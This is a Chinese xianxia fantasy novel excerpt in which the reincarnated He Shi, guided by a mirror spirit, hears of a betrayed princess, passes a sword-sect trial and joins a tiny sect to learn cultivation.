《《行而论道》》
1. 生——天生无情种
金碧辉煌的宫殿内,众人围着一锦衣华服的女子。
被他们簇拥在中心的女子双眼牢牢紧盯着虚空,良久,她似是回过神来,一瞬冷汗频出。
“大宋的天,要变了。”
此话一出,人群中为首的帝王一惊:“国师这是何意!?”
“她,要回来了。”
*
数公里的森林外,一女孩在一颗大树下透过手心望见国师传递给她的消息,又惊又喜。
她知此事重大,为不出纰漏,将滂湃的心情耐下,才走进林中,寻找国师所说的人物。
/
入眼一片漆黑,动了动手指,是麻木的僵硬。
何施眨了眨干涩的眼睛,耐心地观察了一圈四周,很快反应过来自己所在的地方。
一具宽敞得足以躺下两人的棺材,身下铺着不知用什么材质做的软垫。
她还不是很适应这具身体,便待在棺材内活动了下躯体才掀开棺材盖。
白光突如其来刺来,使得泪珠自发一粒粒排着队往下掉。
何施有些新奇地摸上自己的脸颊,脸上不由自主地弥漫出喜悦。
泪水与笑容结合在一起,竟让她显现出一种初生婴儿般的天真无邪。
“喂!你没事吧?”
在朦胧的泪光中,何施隐约望见了一位与自己凑得很近、神情焦虑的女孩。
她是在问我吗?
何施疑惑地歪了歪头:“我-”
她声音沙哑得出奇,许是太久没出声的缘故,一开口就被呛住。
女孩急忙上前,或是想起什么,脚步顿住,特意瞧了瞧四周。
眼见四下无人,她朝手心吐出一口气,凭空变出一件手帕和一碗水来。
而后上前扶住何施,一只手臂支在棺材边沿让她靠着。
女孩很是耐心,先给她擦干呛出的眼泪,再缓缓帮她镇定下来,最后扶着碗一点点把水渡进她唇里。
于是何施也未曾察觉,这位“偶遇”的好心人落在棺材内打量的视线。
一碗水下肚,何施感觉精神好多了,转向那女孩,有些不确定的询问她:“谢谢你,你是这副身体的阿娘吗?”
何施已经消化好了原主的一点记忆,具备了一些基本常识,知道生物有意识后第一眼见到的活物就是自己的阿娘。
阿娘对生物们来讲是世界上最伟大的人,因为她们赋予生物们生命。
不过面前的这位姑娘好像和自己这副身躯看起来差不多大,不应当是阿娘啊?
何施的目光在女孩身上来回打转,似乎这样就能透过表面看到本质,寻找到问题的答案。
镜妖在何施将目光投向她的时候,已经及时将眼神收回。
听到问话后,她思索了几秒,有意无意地透露出几分手足无措的神态。
接着她下意识望了望手心,何施不经意间看见她的动作,有些好奇:“你为什么要看手心?”
镜妖的躯体僵硬了一霎,再顾不得什么,抽出手臂风驰电掣地躲到了离何施几米开外的大树后面。
“你,夺舍了这具身体吗?”声音从树后响起。
何施想着这应该确实不是自己的身体,便点了点头。
口水被吞咽的声音,树皮被指甲一道道划着发出的滋滋声,在寂静空旷的森林想起。
伴着这些奏乐,藏在暗处的人仿佛镇定下来:“我是镜妖,真身乃为三生镜。”
“无论是妖是魔是人是鬼是仙,我都能看见他们的前尘今生未来。”
“可你,你没有任何东西让我看。不对!就算是夺舍之人,我也可以看。”
半盏茶后,镜妖从树后向何施走来。
逆着阳光,看不清样貌。
/
“你究竟,是什么?”镜妖面上满是好奇地瞧着何施,像个不谙世事的小姑娘。
无人看见她眼睛深处沉淀的冷。
“我,可以是世间万物。”
何施其实也不知道自己是什么,但她凭直觉给出了一个答案。
镜妖听了这话也没反应,嘴角挑起讽刺的笑:“我其实也不关心你的种族。”
“人们总说,仙途坦荡,有着无上荣光,各路牛神鬼马也就簇拥着想去往那条路上。
“人多了,也就忘了。”
无人看见背后——踩着万千尸骨踏上的荣耀。
镜妖眯着眼直视璀璨的阳光,绕回想说的正题:
“我得告诉你,你夺了这人的身就得帮她平了因果,你得去找一个人报仇。”
“不然,你会魂飞魄散的,这是天道法则。”
“谁?”
“一个负心汉。”
“负心汉是什么意思?”
“就是坏人。”
“那我怎么去找这个人呢?”
何施直起坐在草坪上的身子,眼也不眨地凝视着镜妖,似乎想从她那儿得到一个答案。
“我会帮你的。”镜妖见她万分依赖自己,思绪不住地打转。
“另外,”镜妖望了望荒无人烟的四周,神神秘秘地俯下身凑到何施耳边。
远远望去,仿佛两个贪玩的小女孩在互相交换秘密。
她用只有他们两个能听见的音量说道:“告诉你个秘密,其实我也是夺舍的。”
说完,镜妖谨慎地观察何施的情绪,用余光看见了何施并无太大情绪波动的侧脸。
她并不气馁,见状继续往下讲:“我这原主同你那具身体本该是极好的关系,她却被负心汉蒙骗,错认救命恩人还让恩人伤了心,最终白白失了性命。”
“想让那负心汉偿命,然而落得个命丧黄泉的结局。你说负心汉那样一个人,招不招人恨?该不该杀?”
说到最后,镜妖瞳孔火红,周身凶光大起,几乎要变回原型。
可另一侧的小姑娘无动于衷,见到她很是激动的状态,眉目间才有了点细微变动。
只见她眉毛都拢到一头去,眼睛眨得像有蝴蝶在睫毛上飞舞。
片刻,何施缓缓突出一口气,一字一顿,貌似很不理解地开口问镜妖:“只要有人想杀一个人,那个人,就是坏人吗?”
镜妖倏地安分下来,眼眸中不起一丝波澜,像一潭没了生机的死水。
“我们用文字记录史实,可史实也为人为。”
“你很难去说错与对,因为历史有一个万古不变的定论——只有胜利者,才可以编造假象。”
她垂下眼帘,摸了摸窝在她怀里的何施头,“不过,”她柔柔地对何施笑起来:“它也可以改写,不是吗?”
“我给你讲个故事吧。”
那是很久很久以前了,在一个凡人还不能修仙的时代,有一介小国被灭,新王上位,年号为秦。
上任后新皇大刀阔斧改良朝政,为民生赴汤蹈火。
他是一位很有魄力的君王,可是因为他花费在政事上的时间太多了,他的子嗣只有一位公主。
为此他修改了以往女子不涉政的条例,让那位公主成为了有史以来第一位以女子之身担任皇储的存在。
外头有关小公主的传言纷纷扰扰,有称赞也有毁誉。
不过这些都传不到她耳中,她的父亲把她护得太好。
她意识不到外界的残酷,这也为她的未来埋下了祸根。
这位公主名号太清,有一位伴读,是侯爵之子,文武双全,面目俊朗。
有这样一位少年郎在身旁,太清渐渐对他上了心,有了爱慕之情。
这情一字,是所有祸端之首。
*
太清并不知晓,她的伴读还有另一层身份---前朝皇子。
他处心积虑地在王朝的更新换代中存活下来,凭借存活下来的人手拉扯出一个明面上的身份,又借着皇储选伴读的东风混入了皇宫。
皇子心思缜密,步步为营,先是谋取了太清的信任,再一步步在太医院、内务总管等可以直接接触皇上的职位处安插一点人手,让他们等候吩咐。
他们终究没能在这位皇帝在位期间得逞,这并不要紧,因为小公主接替了皇位。
二人一同长大的情谊自是旁人所不能比拟,这份信任为帝王招来了一匹觊觎皇位的狼。
他将太医院安插的人手派上了用场,神不知鬼不觉地使太清的身体衰败了下来。
这只是一
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个开始,太清缘于身体缘故渐渐对政事处理感到力不从心,朝中那些千年老狐狸嗅到了良机,纷纷劝说开设内阁。
皇子以此为点散布谣言,意为离间,招数奏效了。
先皇登上皇位不久,许多有功之臣接连被封赏,但之后在执政期间一个接一个被圣上起了猜忌,最后只余几位尚存人间。
有此先例,朝臣中其实并无十分簇拥太清者,她又是女子之身,免不了闲话,竟由此发展有了心疾,在下朝后宣太医召见时仙去了。
这位太医正是皇子之人,被传唤之际已有猜测,一并带着皇子去了。
/
可太清去世真正原因并非只有心疾一道原因。
彼时她退去一众奴仆,屋内看似只有三人,实则皇子袖中藏有玄机---彼岸镜,那镜便是我原身的真身了。
彼岸有千面,可通心灵,幻化成何人皆随心。
要说彼岸为何愿意助那皇子之力,无非是一个公主女扮男装救了她,自个寻恩错认人反被利用的故事。
且说这处,太清看来了两人心中诧异不显,宣他们上前。
离了近了,看清是谁安下心来,本想让太医看看身子,皇子却抢先搭话,卷起惊涛大浪:
“太清,这抢来的皇位,你坐得舒服吗?”
太清一惊,微微起身去摸枕头下藏的匕首,入手空无一物。
“我知道你还有在身边放武器的习惯。我给你收起来了。”反贼“好心”地解释道。
“你究竟是谁!?”身下的被褥被太清的手抓出几分褶皱。
“侯爵之子,救命恩人,公主伴读,陛下觉得,臣”他倏地停顿下来,片刻又状似若无其事地续上:“应该是个什么身份。”
“要说,臣记得最牢的身份,不巧,正是公主不知道的身份---被你爹害得国破家亡的仇人!”
“陛下可想知道,臣当初是怎么活下来的?”
太清并不接茬,皇子对此熟视无睹,垂眉盯着地面,一字一字扒开自己的难堪,不知要说给谁看。
想起那段生不如死的日子,他双手紧握,青筋肉眼可见地仿佛要冲破皮囊。
阴郁在胸中堆砌成前所未有的高度,愤懑的心境在视线转到床上消瘦的太清时刹那消散。
他狂热地望着她,却更像透过她望见许多人。
“很快一切都将了结。”他说。
*
太清无法接受引狼入室这个她亲手所致的结局,在反贼能进来这一刻,她就已经知晓自己会在史书上留下怎样的骂名。
她只想,死的好看些。
她是自缢的。
这能算,君王死社稷吗,奄奄一息之际她脑中怔怔地只剩这一个念头。
彼岸变成太清的模样,做了一段时间的傀儡皇帝。
反贼一步步掌握朝中局势,到最后他完全大局在握,彼岸写下了退位诏书,自言德行有损,不配为帝,传位于反贼。
好笑的是,他推脱了三次才接。
反贼当了皇帝后,看着太清模样的彼岸,心神一动,让她入主后宫。
你说人呐,怎么都那么贱呢,都非得走到路尽头了才认清,太清是,反贼是,彼岸……彼岸也是。
她在太清的居所里找到了当年救命恩人的信物,这才发现犯下了她无法挽回的滔天过错。
她想以命偿命。
她失败了。
她去陪她恩人了。
“这就是一切的结局了。”
镜妖低头看着手心,情绪不再激烈,也不再言语。
何施冷眼旁观地看着这个安静的女子,从来没有哪一刻这么清晰地认知到自己的异常。
人非草木,孰能无情。
可自己,何施摸上剧烈跳动的心脏,恨意的细胞从故事的第一个字就被挑动,随着发展越演愈烈。
但——这是原主残留的情感,不是她的。
她,天生无情。
“可或许,无情才为有情,方能做到——天地不仁,以万物为刍狗。”
“何施,成为一把——秉公执法的剑。”
记忆深处,好像有谁如此宽慰道。
2. 老——真情假意
“咕——咕”
突然发出的声音打破了寂静,走在前方的镜妖恰到好处地转头询问:“饿了?”
何施点点头,将手放在肚子上抚摸了下,随着她的动作,一阵咕咕声再度发出。
好像肚中揣了个野兽在咆哮,何施觉着有些好玩,时不时地去摸肚子。
镜妖注意到身后人的反应,不知该作何反应,不着痕迹地看了眼手心后,用法术测量了下方位。
“快了。”
“马上带你去进食。”
跟在后头,被自己越戳越饿的何施有气无力地应了一声。
等出了林子,镜妖对她们二人施了个法术,这幕假如有先前见过二人的人见着,定要大吃一惊,原因无他,实在是她们身上竟无一处能认出原本模样。
何施的注意力被身上变了的服饰转移:“我们为什么要变成这样啊?”
“因为你饿了。”
镜妖并不想多言,远远见着了一处村庄便领着何施去往那处。
还未等何施想明白缘由,镜妖已敲响了一户人家的房门。
门只开了些许缝隙,有双浑浊的眼睛从里头探出,语气很冲:“有什么事吗?”
镜妖做了个出家人化缘时的手势,解释自己和师妹因为师门已无余粮,出门化缘,望施主好心赠与她们点食物。
“哦?我怎么知道你不是在骗我呢?”门被拉开了些,里头住着位年迈的老人家。
老人的语气在听了镜妖的解释后已经放缓,但口吻仍饱含怀疑:“报上你的法号来。”
镜妖对面前凶巴巴的老太扬起笑:“贫尼,法号镜缘。”
“她呢?”老太扬起下巴指了指何施。
“逢缘。”
说来也奇怪,老太的眼神在听见这两个名号后一点点清明起来,如今清澈得像一潭汪洋,人也和善起来。
真奇怪,是镜妖对她使了什么法术吗,何施的眼神在老奶奶招呼她们进门后一直没从镜妖身上落下。
“我是清平寺第三任弟子,法号亦是。如今外面太乱了,竟不想师门已延续到缘字辈了。”
老太背朝她们仰天畅快一笑,收敛神情后转过身来望见何施的目光打趣道:“怎么,小丫头这是第一次出来化缘吧,你都让我想起当年的我了。”
何施看着眼前眼尾处的笑纹都透露出慈祥的亦是,几乎都要忘记才一刻钟前她浑身透露不欢迎的气场了。
亦是嘴角的幅度下落再下落,何施这才意识到自己不小心把心里话讲出了口。
她没惹她不高兴,何施不知道自己为什么冒出来这个念头,明明老人家都不笑了。
“哎——”
亦是让她们坐下,半盏茶时辰后端来了一盘青菜和两碗米饭,自个也拿了把马扎坐下。
“我不是不欢迎你们,只是当今世道,乱的很呐。”
“昏君坐镇,行事荒诞,百姓苦不堪言,可就是这样,天道竟也向着天子,多处造反无一成功。”
“凡人界的天道难道没有一丝可以替换的可能了吗?”
镜妖笑眯眯地反问,何施感知到阵阵冷风从她身旁传来,悄悄挪了下位置,远离了镜妖。
“你说来容易,你可知现在那位可是修炼了几万年才飞升的,在上边又熬了多久才出头,更何况,凡人界的灵气越发稀薄了,成仙——”
亦是嗤笑一声,眉眼间浮现出戾气。
“是为长老不老,是为权利不倒,是为奇珍异宝,再无人会记起,仙途是证道之路。”
老太说着说着,脸上流露出怀念亡灵时特有的迷茫和悲伤,镜妖围绕在周身的气息也被感染到,燃起一种孤寂感。
她像面具一样的笑不再挂在脸上。
相同的情感使得这两个不同年龄、不同身份甚至不同种类的女人在这段时长不知几何的默契无言中感到惺惺相惜。
那是她们才懂的沉默,她们在心灵上短暂成为了挚友。
/
“我欲成仙,却不为我。这是最初那位天道上任前的最后一句话。”
“可惜,无人传承啊。”
何施见终于有人从那窒息的氛围中冒出话来,赶忙接上话头:“您和那位是颇有渊源吗?”
怀着这样的猜想说出围绕在心头的困扰,却被阿婆请了出去。
“你们该走了。”她只是这样说。
“是我说错话了吗?”继续赶路时何施问镜妖。
“不是,是她大限将至。”镜妖回想起老太去世后的场景,心情不大好。
可就算预见到这些,她也确实不能出手干扰,只得念叨:人各有命。
……
赤焰嘶吼着在自身所致的漩涡内拉扯,黄昏的乐曲终将奏响,青山,绿瓦,红墙。
燕武村,到了。
“就在这。”镜妖抬头盯着荒芜的道路旁巨大的石头上刻着的三字,语气平淡,眼底翻滚的神情让何施看不透。
道路的崎岖远超想象,似乎很久没人走过这条道了,杂草丛生,虫蛇横行,弯弯绕绕的程度能让人眼冒金星。
何施都感觉早就消化好的青菜米饭争相在体内比赛攀爬,目前,她们还未遇见一个人。
她不由有些发憷,强忍难受开口:“我们会不会走错了啊?”
“不可能。”
镜妖斩钉截铁的回答让何施有了些安慰,不知走了多久,第一道人声出现了。
响彻云霄,高昂的分贝不仅充分体现出了其人的疼痛难耐,也让镜妖和何施停下了脚程。
/
被擒住的是一个满脸肥肉的大汉,他双手被身后少年所缚住,少年的一把剑也横在他腰间,甚至一只脚踹在他背上。
大汉眼见往哪儿动都容易伤着,这才求饶;“是小人有眼不识泰山,贵人饶命啊!”
“那小蹄子您大人若是看上了,只管带走,我王二狗绝无半句废话!”
王二狗的一番话未在少年心中卷起半点涟漪,只见他冷哼一声,一句一句反驳道:“首先,我不是贵人,只是路见不平拔刀相助。”
“其次,别叫那姑娘——”
少年憋红了脸,怎么也喊不出那三字,本就踩在人家背上的脚又加了几分劲儿。
他循循教导脚下的大汉:“放尊重点,知道吗?还有,她又不是你什么人,你凭什么管她去哪儿啊?”
“就是他。”
镜妖微微俯身跟何施耳语,
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冷冰冰的声音冻得何施一激灵,下意识反问:“谁?”
话音刚落何施想起此行的目的,眼神专注于王二狗身上,当机立断:“就是那个在地上的人,对吧。”
何施的肩上传来几分力道,镜妖的声音又冷了些,像淬了冰一样:“是另外一个。”
一把剑出现在何施身前,“拿着这把剑,去杀了他。”她说。
何施接下了剑。
*
寒刀出鞘,锋光将现,直逼面门,一少女突然挡在少年面前。
眼见情况有变,何施手腕一翻,堪堪在少女额间半寸前停住,气场冷冽下来,似山雨欲来。
正当少年的视线被身前场景吸引,一枚暗器趁虚而入。
柳月弯,叶族特有,柳字辈所善,已有很多年未在修仙界出现过了。
也不怪少年急急挡下这一击后朝镜妖方向惊呼:“你是柳亦是!?”
“不、不对,前辈早已遁入空门,现今若仍在世早已年过一百,怎会是你这般模样!?”
“你没资格知道。”
说罢,又是数枚暗器齐发,趁众人都被这波光粼粼的场面镇住,镜妖趁机催动大半内力发动了阵法。
——半生缘,前世恩怨一阵了,法前阴阳皆罔顾,阵起,缘灭。
一圈亮光闪烁,两人身影消散在何施与少女眼底,只余二人面面相觑,而那怂汉早瞧准时机偷溜了。
一更后,打得难舍难分的镜妖与少年突显空中,双双坠落,好不凄惨。
何施与少女兵分两路,一边问怎的成了她出手,一头对着少年的伤势无处下手,只得低低啜泣。
少年无暇顾及哭啼声,冲着镜妖发问:“前世的仇,你非得算到我头上!?”
“我自问虽算不得大侠,但也不会成为前世那种人吧!”
镜妖一只手支在膝盖上,喘着气讥笑:“那你说,我这仇,该找谁报?”
她的目光又移到何施身上:“她的劫,又该怎么解?”
少年一下子安分下来,而围在他身边的女子虽不懂这静默下的暗潮汹涌,却也明了这两位与救了自己的少年有仇。
她自个身无缚鸡之力,当下思及听到的对话变着法为少年辩解:“二位姑娘,我为他作保,这小公子当真不是十恶不赦之辈——”
镜妖对她施了个闭口禅,端详她片刻后出声:“别逗我了,你今天本来是要被主子卖去风满楼的。”
“途中诓了你口中的小公子说是被拐去的,短短相识半盏茶时辰都没有,还能说他是好人,省省吧。”
少年被这话打断了沉思,瞳孔不可思议地伸缩一霎,镜妖瞧这画面笑着讽刺道:“傻子,谅你也没能耐混成上辈子那样,说吧,有法子吗?”
少年不像刚才那样活泼,整个人焉了下来。
他默默一点点挪动,离那女子远了些,也不反驳镜妖只闷闷回话:
“传闻仙途大成者,可逆时空,万物枯荣一念间。”
*
逆时空,万物枯荣一念间。
镜妖魔怔般重复这些字句,突然,她抓紧了旁边何施的手,紧盯着她:“去修仙。”
你大道将成之时,就是她归来之日。
3. 赤子之心
何施不明白镜妖为什么饶过少年,也不明白本该与她们分道扬镳的少年为何死皮赖脸地跟了上来。
要理解这些对她来讲,貌似还太难了。
/
烈日当空,她盯着地上跟在身后的影子的,快步凑到镜妖跟前问:“我们要去哪?”
镜妖心头大患有了去处,语气不似往日冷淡:“有个灵气充足的地方让你修仙就成,不过去哪,我还真没想好。”
镜妖停下脚步,东瞧西望的少年自然没注意到,一头撞上宽阔的后背。
他额头立马红肿起来,又不好直言疼痛,捂着额头朝前叫嚷:“喂,干嘛停下啊?”
少年没了用处,镜妖就不惜得搭理他了,鳖了他一眼没搭腔。
何施适时接上话茬:“她在想我们要去哪儿?”
“去剑宗啊!”
少年顿时放下来扶额的手,感觉整个人神清气爽,哪哪都来劲,小狗撒欢似的在镜妖周边溜达。
她面朝东就转向东边,身朝西侧又跟上去:“去剑宗!去剑宗!他们今年招新会摆出十大名剑呢!”
镜妖瞪了他一眼:“别念咒了,要去自个去,我们去哪有你什么事?”
“别这么狠心啊,江湖不是有句话叫:相逢即是缘,同行赛过仙!”
“再说我可不想又落到被你无缘无故暗杀的境地了。话说还不知阁下名讳,在下宿惟。”宿惟正儿八方地抱拳。
“镜缘。”
何施瞄了一眼镜缘,不确定地开口:“逢缘?”
镜缘没按捺住轻笑一声,目光柔和地看向她,触及面容时却又冷淡了几分,只淡淡地留下一句说真名便继续踏足前行。
何施有些摸不清状况,对宿惟道出名字后便跟上了镜缘。
最终,她们还是因为宿惟的一句修剑对普通人来说是最容易迈进修仙门槛的方式而迈进了剑宗。
……
剑宗大比共有三轮,第一关是扎马步,来参赛的都摆足了架势,摩拳擦掌,远远望去气势磅礴。
奈不住这场比拼没有时间限制,只留最后五百人。
先前姿势一个赛一个标准的他们如今一个接一个地倒在了毒日、体力不支、口干舌燥等众多因素下。
“韩现,出局!”
在这声通报中,又有一人两眼发黑倒下了。
他正巧倒在何施正前方,两个身着汗衫的外门弟子过来准备把人扶去树荫遮蔽处,那人躺在地上挣扎不起。
“我还有力气!再给我一次机会,我保证我能留到最后!”
过来二人倒也没嘲笑他是痴心妄想,只是淡淡道出了他已出局的事实。
个头稍长一些的唱红脸:“抱歉,你已经被淘汰了,再留下去对身体有损无益。”
“而且,你如果再躺下去,此事闹大,宣扬出去——”那人掐住了话头。
另一位长得眉清目秀,整张脸白嫩得想叫人掐上一把的唱白脸:“唉,到时整个修仙界都会知道你的大名了。”
“哦——我知道了!难不成,你是想出风头,所以”
这人装作一幅不可思议的神态望向地上,目光真叫人觉着痛心疾首,但嘴上的话就没面上做得那么好看了。
“我劝你啊,还是趁早回家。”
说到这他笑眯眯地凑到那人耳边补充了什么,只见躺在地上的那位一下子面色惨白。
也不用人催了,玩命般的爬起来像有冤魂在身后索命一样跑走了。
没了人,他俩也就慢悠悠地朝来处走去,何施清楚地听见那高个不解地问小个儿:“你跟他说了什么?”
“没什么,只是跟他科普了下毒蛇的毒性,以及剑宗不为人知酷爱养蛇的秘密。”
说这话时,小个子仍是笑眯眯的模样,惹得何施叹为观止,脚步一虚差点瘫倒。
宿惟……站在她左侧,瞧见她膝盖弯的瞬间眉头一皱,又在下一秒舒展开,等何施站稳了丢去一句:“凝神静气。”
何施看了他一眼,点头致谢。
这场比试过了三更后终于结束,第二场将于一盏茶后开展。
所有人都在席地而坐修整,内门弟子也开始陆续续前来观看。
镜缘、何施与宿惟都过了第一关,三人眼瞧着一张大圆木上被端上来,一遮了红布的物件在上头惹人遐想,挠得人心痒痒。
在在场所有人不知瞄了这物多少下后,谜底被揭开——窥心镜。
何施注意到镜缘的脸色肉眼可见地有些古怪,拍了拍她的手:“怎么了?”
镜缘直直注视着那物,跟她解释:“窥心镜,若我没记错的话,基本买家都为已出嫁的妇人,只因此物可问心。”
在场不少人似乎也知道用途,望着那透明珠子窃窃私语不绝于耳。
远处的高台上一名长者挥了挥手,一名在台下的剑修接收到这信号后开始传音,声音清晰地传遍了每个角落:
“此物名明智,可探心智,剑宗会以此为依据评判你们是否适合剑道。叫到名字的人上前来!”
“曲非。”
“宋涯。”
“秦星。”
……
“何施。”
何施向上走了一百台阶后,仿照前一人将手搁在珠子上。
上头立马走马观花地把她记忆中的场景展示了一遍,接着整颗球闪了又闪终究只是变回原本乖顺样子,将何施的面容映照得一览无余。
高台后的房间内,众长老围着中央一人,更准确地说,是盯着他头上浮在空中的珠子。
这次它没露出任何痕迹来,有人看了未免焦急:“这是何意!?宋师弟他怎的还没睁眼!”
出声人是剑宗大长老,天生急性子,坐他身旁的二长老熟悉他脾性怕他坏事,出面安抚道:
“好啦好啦,大家都是第一次碰到这种情况,宋师弟这次晚些领悟也是人之常情。”
外界的纷纷扰扰一点传不入他们口中的主角之耳,忽然,宋淞貌似感知到了什么,面色潮红,手不受控地发抖。
所有人见这情景,皆打起了十二分精神,原因无他,只因当大事来临,宋淞的身体就会呈现此状。
一刻钟后,宋淞的身体紧绷一瞬又松懈下来,他睁开了眼,目光炽热:“赤子之心!”
“什么!赤子之心!”
大长老首先坐不住了,站起身就想出去捞人,二长老见怪不怪地将他拽下,问了一个最关键的问题:“人是我们剑宗的吗?”
在一片殷殷期望下,宋淞垂下头摇了摇:“她并无意向。”
赤子之心是最适宜修行的体质,更别提遇上这类修士的几率堪比大海捞针。
此外他们修行仍有禁忌:从始至终修一条道,一条命中注定的道。
“有缘无分,罢了。”
二长老倒是很看得开,大长老一听人不归剑宗已经烦躁得要炸开。
此句一出更是火上浇油:“师妹,那可是赤子之心!赤子之心啊!注定不出三年筑基,五年可达金丹的赤子之心!”
“我知道,但你能强抢人家来修剑吗?我们得结个善缘,师兄,我问你,修仙界已经多少年没出这么一个天纵奇才了?”
大长老安分下来,这番话却也点醒了另一个人,三长老提议:“不如我们送把剑给人家当佩剑吧?”
“好主意!三师兄,真有你的!”
“问题是,送哪把剑
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呢?”
剑宗自然不缺剑,但这剑送的不单是剑,还是有意交好的诚意。
“让人留下来,在品鉴会上挑一把走。”宋淞语出惊人。
“你疯了!?”有人不可置信。
“小师弟,那是十大名剑啊。”有人弱弱提醒。
“你们不敢赌一把吗?”有人孤注一掷。
/
何施最后是带着黯翎走的,黯翎,隶属五大邪剑,华丽的配色能在漆黑的夜做到毫不起眼,也能在白昼中让人目光紧随。
宿惟偷偷跟在何施后面,一直想找机会上手摸一摸它,可每次都会被镜缘察觉。
捂着又一次被拍红的手,他仍旧死心不改:“摸一摸,我就想摸一摸而已。”
“抱歉啊,黯翎她不是很想让你上手。”
何施加了点修辞,转述了黯翎的想法。
宿惟就此作罢,提出新的问题:“我们现在去哪儿?”
“走哪算哪。”镜缘一路上不知看了她的手掌多少次,仿佛里头能蹦出个神仙给予她指点。
宿惟见她现下终于专心赶路,凑过去瞄了一眼她的手,看清后咕哝了一句手里没东西啊。
漫无目的的行走是难熬的,但多动的宿惟实在不能让另外二者领悟到这份心情。
说不准多久后,他们停下了。
不远处有一老者席地而坐,衣衫褴褛,面露不甘,一下又一下地捶打自己的腿部。
热心肠的宿惟见状,匆匆迎上前:“老人家,您没事吧?”
白发苍苍的老人一抬头眼睛里就撞见了少年别在腰间的剑,脸色唰地白了:“有事,天大的事。”
“老人家,甭管什么事您说,只要你说,我能办到的就一定义不容辞!”
弱小在眼前,宿惟的正义感一下子上来了,不管三七二十一先打下了包票。
“真的吗?”老人目光炯炯,脸色散发出了不属于他那个年纪的兴奋。
“嗯。”宿惟此时倒是开始迟疑不定,但先前早已应承下来,现在也就硬着头皮答应。
“不瞒你们说,”他的声音染上了哭腔,给人的凄惨之感愈发浓重。
“我本是一个小门派的宗主,奈何人微言轻,已经很多年了,没人肯入我们门派。”
“老夫你们也看到了,垂垂老矣,怕不知,还能撑几年啊!”
“生死有命,倒也罢了。可这门派的传承,我势必要让它进行下去啊,想当初……”
老者越说下去,神色越激动,说到最后,他似是悲戚到了极点,双手捂脸,肩膀耸动得厉害。
宿惟撇过脸,不忍再看,一口应下:“无人应,那我来。”
说完后他骤然意识到什么,看了看镜缘和何施,欲言又止。
镜缘只是用眼神询问何施的意见。
何施自那位老者出现后就感到他冥冥之中与自己有缘,便答应了。
老者见门派内一下子有了三位弟子,当即一蹦三尺高。
这矫健的身姿无疑与他的年龄不符,三人一惊,本想上前搀扶。
时守对她们歉意地笑了笑,一把摘下假发,露出一张明净俊朗的脸。
宿惟呆滞地望向他头顶浓密的乌发。
镜缘看戏地抱臂观赏。
何施则看着一本本从时守身上掉落到地上的书籍,不知当不当言。
好在时守注意到身上少了些分量,边蹲下捡书边跟他们解释这种招人方式,实在是不得已而为之。
何施想起看清的几本书名——《30天内让门派上下拜服》、《想知道广纳群贤的秘诀吗?》《劝人回归师门的一千零一种方法》,内心处觉得时守应该是很喜欢这种方式。
4. 修仙,很难吗?
“所以说,无情道加上我们三个也只有四个人在修!?宗门还是一个入不敷出的状态!?”
宿惟蓦地站了起来,在房间里不停打转,好像他没入无情道的前半生从没遇到过任何波折似的。
“我以前是两……一人吃饱,宗门不愁的状态,习惯了。”时守瞧着桌面上刚对出来的账,倒是一派波澜不惊。
宿惟嘴角抽了抽,为时守解释目前的局面:“掌门,我们门派现在没有灵石——一个门派没有灵石,你知道这意味着什么吗?”
“没有灵石,我们吃穿住行怎么办?没有灵石,资源从哪来?没有灵石,寸步难行。”
宿惟最后下了个定论,抱胸斜睨着时守,一副看好戏的姿态。
时守本来没想那么多,眼下听宿惟这么一说顿觉灵石的需求确实迫在眉睫。
他思索片刻,沉吟道:“我先教你们引气入体吧,钱财之事,我会想办法的。”
修仙界的境界共有九层:最基础的便是练气,而练气基层的修士成功经历完九次渡劫后便会迈进筑基修为,再往上依次是金丹、元婴、化神、务虚、合道、渡劫。
从金丹到渡劫的时期,修为上升的阶段又分为前中后期,最终直至大乘。
而大乘最后还有一个大圆满的时段,又称九九归一,等挨过这最后九十九道天雷,就会进入天界。
练气的前提是引气入体,这气,还因门派而异。
凡人界最大的宗门当属合欢,合欢贪情爱,这气,便是情感之气;可如果是少年人最多的地方,剑宗,这气,就应当是剑气了。
每一位剑者都应该像了解自己一样了解自己的佩剑。
这是剑客之间心照不宣的法则。
“所以,告诉我,无情道的气是什么?”
时守的眼神从左到右扫过面前三人,见他们都在全神贯注地听讲,从心底感到宽慰。
“无情道,与多情道正相反。可要说这气是什么,我想不到。”镜缘无奈地摇了摇头。
“是、自然吗?”何施试探道。
“你是怎么想到的?”时守饶有兴致的目光落到她身上,一般来讲,人们都会认为无情与多情是天生对立的关系。
其实不是的,在最开始,有一派名曰自然道,讲究入世感心知情。
而在此道上的修士最终往往会朝两个方向去:一为体验过所有情感,所以他们的修为是感情的容器,此为多情。
或是,在见识过一切感情后——何施微抿嘴角:“无情非绝情,只是淡然。”
自然道曾经一度成为凡人修仙的热门选项,可渐渐地,没人再愿意踏上那种超脱世俗的道了。
人们喜欢情感,人们生活在情感里,人们无法脱离情感。
他们都去修多情了。
“无情道的气有别于其它派别的地方就在于:万物为气。你可以在石缝里寻找,在悬崖峭壁上物色,甚至探索你自己。”
探、索、你、自、己,何施的脑中炸开了烟花,说不清是怎么一回事,她骤然感到无数束气流在手臂、大腿、腰腹各个部位涌动,最终汇集于心脏处。
“这就是,引气入体吗?”她喃喃自语。
时守感知到她这边的气流与另外毫无动静两边的两边形成鲜明对比,目光自然而然跑到她身上,目睹它们自觉聚集的行为不禁心神一震,下意识挺直了几分腰板——距离他刚刚说完这句话才过了多少秒,她已经能够到达练气境了!?
不、不对,按理来讲,气流的凝聚不会如此之快,已经到了让他眼花缭乱的地步,它们的走势更像——更像新手走火入魔的端倪!
怎么会呢,他是完全复述自己修炼时听到的教导啊。
可若真是自己教导不当致使何施走到了那种地步,一股令时守战栗的气流迅速从他尾骨处蜿蜒而上,感官的刺激直逼大脑,令人不寒而栗。
惊奇的是,它很快被另一股更大的气流裹挟了。
何施睁开眼,视线从模糊的白色上移到带有发现新大陆一般审视意味的三双眼。
还在体内四处窜动的暖流立马安分下来,不再躁动,冷却的体温下额外温热的心脏让她明白自己应当是成功了。
但以防万一,她还是向时守多问了一句:“我做得对吗?”
时守觉得她在拉仇恨,拉自己一个人的仇恨。
旁边两位可能还没有清晰认知到她的天赋可怖到哪种程度,可他是谁啊,当年短短一月便引气成功引起轩然大波,诸多头衔加之于身,像什么“新生的希望”、“无情道崛起的开始”之类,为此凡人界差点翻了天,无情道那月的入道修士人数上升得一日比一日猛。
曾经他不理解为什么自己的师兄师姐们常常会在练功时注视着自己,眼中闪烁着或敬佩、或仇视的光芒。
现在,他终究也成为了他们。
